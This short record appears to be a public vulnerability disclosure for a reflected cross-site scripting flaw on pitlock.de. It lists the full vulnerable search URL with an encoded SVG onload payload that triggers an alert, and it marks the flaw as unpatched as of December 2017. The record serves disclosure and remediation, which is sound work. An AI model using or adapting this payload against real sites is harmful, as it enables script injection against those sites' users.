pitlock.de XSS vulnerability

Vulnerable URL: https://www.pitlock.de/de/freetextsearch/search/result/?keyword=%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E%22%3Eblub%3Csvg%2Fonload%3Dalert%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.12.2017...